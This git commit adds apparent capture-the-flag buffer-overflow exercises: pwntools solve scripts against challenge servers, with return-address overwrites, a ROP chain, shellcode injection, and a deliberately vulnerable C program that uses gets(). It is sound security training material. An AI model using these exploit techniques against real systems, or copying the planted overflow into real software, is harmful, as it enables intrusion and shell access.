First CTFs
This commit is contained in:
2
BOF/.gdb_history
Normal file
2
BOF/.gdb_history
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
run
|
||||||
|
quit
|
||||||
1
BOF/01_guestbook/.gdb_history
Normal file
1
BOF/01_guestbook/.gdb_history
Normal file
@@ -0,0 +1 @@
|
|||||||
|
quit
|
||||||
BIN
BOF/01_guestbook/guestbook
Executable file
BIN
BOF/01_guestbook/guestbook
Executable file
Binary file not shown.
18
BOF/01_guestbook/solve.py
Normal file
18
BOF/01_guestbook/solve.py
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# context.binary = elf = ELF('guestbook',checksec=False)
|
||||||
|
OFFSET_TO_RIP = 72
|
||||||
|
ret = 0x40101A # ROPGadget ret
|
||||||
|
win = 0x40121B # win address (nm)
|
||||||
|
# p = process(elf.path)
|
||||||
|
p = remote("offsec.m0lecon.it", 13599)
|
||||||
|
p.recvuntil(b"name?\n")
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
b"A" * OFFSET_TO_RIP,
|
||||||
|
p64(ret),
|
||||||
|
p64(win),
|
||||||
|
)
|
||||||
|
p.send(payload)
|
||||||
|
p.interactive()
|
||||||
2
BOF/02_whispered_secrets/.gdb_history
Normal file
2
BOF/02_whispered_secrets/.gdb_history
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
r
|
||||||
|
quit
|
||||||
20
BOF/02_whispered_secrets/solve.py
Normal file
20
BOF/02_whispered_secrets/solve.py
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = elf = ELF("whispered_secrets", checksec=False)
|
||||||
|
context.arch = "amd64"
|
||||||
|
context.os = "linux"
|
||||||
|
|
||||||
|
OFFSET_TO_RIP = 136
|
||||||
|
|
||||||
|
p = remote("offsec.m0lecon.it", 13528)
|
||||||
|
|
||||||
|
leak_line = p.recvline_contains(b"secret:")
|
||||||
|
buf_addr = int(leak_line.split(b"secret: ")[1].strip(), 16)
|
||||||
|
log.info(f"buf = {buf_addr:#x}")
|
||||||
|
# NX disabled
|
||||||
|
shellcode = asm(shellcraft.sh())
|
||||||
|
|
||||||
|
payload = flat(shellcode, b"A" * (OFFSET_TO_RIP - len(shellcode)), p64(buf_addr))
|
||||||
|
p.sendafter(b"secret:\n", payload)
|
||||||
|
p.interactive()
|
||||||
BIN
BOF/02_whispered_secrets/whispered_secrets
Executable file
BIN
BOF/02_whispered_secrets/whispered_secrets
Executable file
Binary file not shown.
4
BOF/03_tiny_escape_room/.gdb_history
Normal file
4
BOF/03_tiny_escape_room/.gdb_history
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
disass vuln
|
||||||
|
run
|
||||||
|
run
|
||||||
|
quit
|
||||||
10
BOF/03_tiny_escape_room/Makefile
Normal file
10
BOF/03_tiny_escape_room/Makefile
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
CC = gcc
|
||||||
|
CFLAGS = -fno-stack-protector -no-pie -O0 -g
|
||||||
|
|
||||||
|
all: escape_room
|
||||||
|
|
||||||
|
escape_room: main.c
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f escape_room
|
||||||
BIN
BOF/03_tiny_escape_room/escape_room
Executable file
BIN
BOF/03_tiny_escape_room/escape_room
Executable file
Binary file not shown.
37
BOF/03_tiny_escape_room/main.c
Normal file
37
BOF/03_tiny_escape_room/main.c
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
setvbuf(stdin, NULL, _IONBF, 0);
|
||||||
|
setvbuf(stdout, NULL, _IONBF, 0);
|
||||||
|
setvbuf(stderr, NULL, _IONBF, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void win(int arg1, int arg2) {
|
||||||
|
if (arg1 == 0xdeadbeef && arg2 == 0xcafebabe) {
|
||||||
|
puts("Door unlocked!");
|
||||||
|
system("/bin/sh");
|
||||||
|
} else {
|
||||||
|
printf("Wrong keys: 0x%x, 0x%x\n", arg1, arg2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void gadgets() {
|
||||||
|
__asm__("pop %rdi; ret");
|
||||||
|
__asm__("pop %rsi; ret");
|
||||||
|
}
|
||||||
|
|
||||||
|
void vuln() {
|
||||||
|
char buffer[64];
|
||||||
|
puts("Welcome to the tiny escape room!");
|
||||||
|
puts("Two magic keys open the door.");
|
||||||
|
puts("keys?");
|
||||||
|
gets(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
setup();
|
||||||
|
vuln();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
33
BOF/03_tiny_escape_room/solve.py
Normal file
33
BOF/03_tiny_escape_room/solve.py
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = elf = ELF("./escape_room", checksec=False)
|
||||||
|
|
||||||
|
# p = process(elf.path)
|
||||||
|
p = remote("offsec.m0lecon.it", 13566)
|
||||||
|
# p.recvuntil(b"keys?\n")
|
||||||
|
# Your exploit here
|
||||||
|
|
||||||
|
var1 = 0xDEADBEEF
|
||||||
|
var2 = 0xCAFEBABE
|
||||||
|
OFFSET = 72
|
||||||
|
# Gadget to overwrite rdi e rsi (pop)
|
||||||
|
# (Creati in main.c)
|
||||||
|
rdi = 0x401287
|
||||||
|
rsi = 0x401289
|
||||||
|
ret = 0x40101A
|
||||||
|
# win addr
|
||||||
|
win = 0x40121B
|
||||||
|
payload = flat(
|
||||||
|
b"A" * OFFSET,
|
||||||
|
p64(rsi),
|
||||||
|
p64(var2),
|
||||||
|
p64(rdi),
|
||||||
|
p64(var1),
|
||||||
|
p64(ret),
|
||||||
|
p64(win),
|
||||||
|
)
|
||||||
|
p.send(payload)
|
||||||
|
# p.send(b'cat flag\n')
|
||||||
|
# p.recv()
|
||||||
|
p.interactive()
|
||||||
53
BOF/04_lemonade_stand/.gdb_history
Normal file
53
BOF/04_lemonade_stand/.gdb_history
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
disass vuln
|
||||||
|
b *0x00000000000012a7
|
||||||
|
run
|
||||||
|
n
|
||||||
|
n
|
||||||
|
n
|
||||||
|
n
|
||||||
|
n
|
||||||
|
n
|
||||||
|
c
|
||||||
|
v
|
||||||
|
c
|
||||||
|
quit
|
||||||
|
run
|
||||||
|
disass main
|
||||||
|
b *+23
|
||||||
|
disass main
|
||||||
|
breaj +23
|
||||||
|
break +23
|
||||||
|
info breakpoint
|
||||||
|
info breakpoints
|
||||||
|
clear breakpoints
|
||||||
|
layout asm
|
||||||
|
b <main+23>
|
||||||
|
b main
|
||||||
|
c
|
||||||
|
r
|
||||||
|
b +23
|
||||||
|
b main+23
|
||||||
|
b *(main+23)
|
||||||
|
c
|
||||||
|
ni
|
||||||
|
ni
|
||||||
|
c
|
||||||
|
quit
|
||||||
|
disass main
|
||||||
|
quit
|
||||||
|
disass main
|
||||||
|
disass vuln
|
||||||
|
b *0x00000000000012a2
|
||||||
|
r
|
||||||
|
b +5
|
||||||
|
quit
|
||||||
|
disass vuln
|
||||||
|
b *0x00000000000012a2
|
||||||
|
r
|
||||||
|
quit
|
||||||
|
quit
|
||||||
|
run
|
||||||
|
quit
|
||||||
|
r
|
||||||
|
disass vuln
|
||||||
|
quit
|
||||||
BIN
BOF/04_lemonade_stand/lemonade_stand
Executable file
BIN
BOF/04_lemonade_stand/lemonade_stand
Executable file
Binary file not shown.
16
BOF/04_lemonade_stand/solve.py
Normal file
16
BOF/04_lemonade_stand/solve.py
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = elf = ELF("./lemonade_stand", checksec=False)
|
||||||
|
|
||||||
|
# p = process(elf.path)
|
||||||
|
p = remote("offsec.m0lecon.it", 13562)
|
||||||
|
# Your exploit here
|
||||||
|
# mov eax, DWORD_PTR[rbp-0x4] overwrite eax value
|
||||||
|
OFFSET = 76
|
||||||
|
leet = 0x1337
|
||||||
|
payload = flat(b"A" * OFFSET, p64(leet))
|
||||||
|
p.send(payload)
|
||||||
|
# p.send(b'cat flag\n')
|
||||||
|
# p.recv()
|
||||||
|
p.interactive()
|
||||||
3
BOF/05_mini_game_arena/.gdb_history
Normal file
3
BOF/05_mini_game_arena/.gdb_history
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
r
|
||||||
|
:q
|
||||||
|
quit
|
||||||
BIN
BOF/05_mini_game_arena/mini_game
Executable file
BIN
BOF/05_mini_game_arena/mini_game
Executable file
Binary file not shown.
18
BOF/05_mini_game_arena/solve.py
Normal file
18
BOF/05_mini_game_arena/solve.py
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = elf = ELF('./mini_game', checksec=False)
|
||||||
|
|
||||||
|
#p = process(elf.path)
|
||||||
|
p = remote('offsec.m0lecon.it', 13509)
|
||||||
|
# Your exploit here
|
||||||
|
OFFSET = 72
|
||||||
|
win = 0x4011fb
|
||||||
|
payload = flat(
|
||||||
|
b'A'*OFFSET,
|
||||||
|
win,
|
||||||
|
)
|
||||||
|
p.send(payload)
|
||||||
|
#p.send(b'cat flag\n')
|
||||||
|
#p.recv()
|
||||||
|
p.interactive()
|
||||||
4
BOF/06_cosmic_burger_joint/.gdb_history
Normal file
4
BOF/06_cosmic_burger_joint/.gdb_history
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
run
|
||||||
|
quit
|
||||||
|
disass vuln
|
||||||
|
quit
|
||||||
BIN
BOF/06_cosmic_burger_joint/cosmic_burger
Executable file
BIN
BOF/06_cosmic_burger_joint/cosmic_burger
Executable file
Binary file not shown.
23
BOF/06_cosmic_burger_joint/solve.py
Normal file
23
BOF/06_cosmic_burger_joint/solve.py
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = elf = ELF("./cosmic_burger", checksec=False)
|
||||||
|
|
||||||
|
p = process(elf.path)
|
||||||
|
p = remote("offsec.m0lecon.it", 13529)
|
||||||
|
# Your exploit here
|
||||||
|
OFFSET = 40
|
||||||
|
# mov eax,DWORD PTR [rbp-0x4]
|
||||||
|
# cmp eax,0xbeef
|
||||||
|
# jne 0x12f2 <vuln+196>
|
||||||
|
# mov eax,DWORD PTR [rbp-0x8]
|
||||||
|
# cmp eax,0xf00d
|
||||||
|
first = 0xBEEF
|
||||||
|
second = 0xF00D
|
||||||
|
payload = flat(
|
||||||
|
b"A" * OFFSET,
|
||||||
|
p32(second),
|
||||||
|
p32(first),
|
||||||
|
)
|
||||||
|
p.send(payload)
|
||||||
|
p.interactive()
|
||||||
Reference in New Issue
Block a user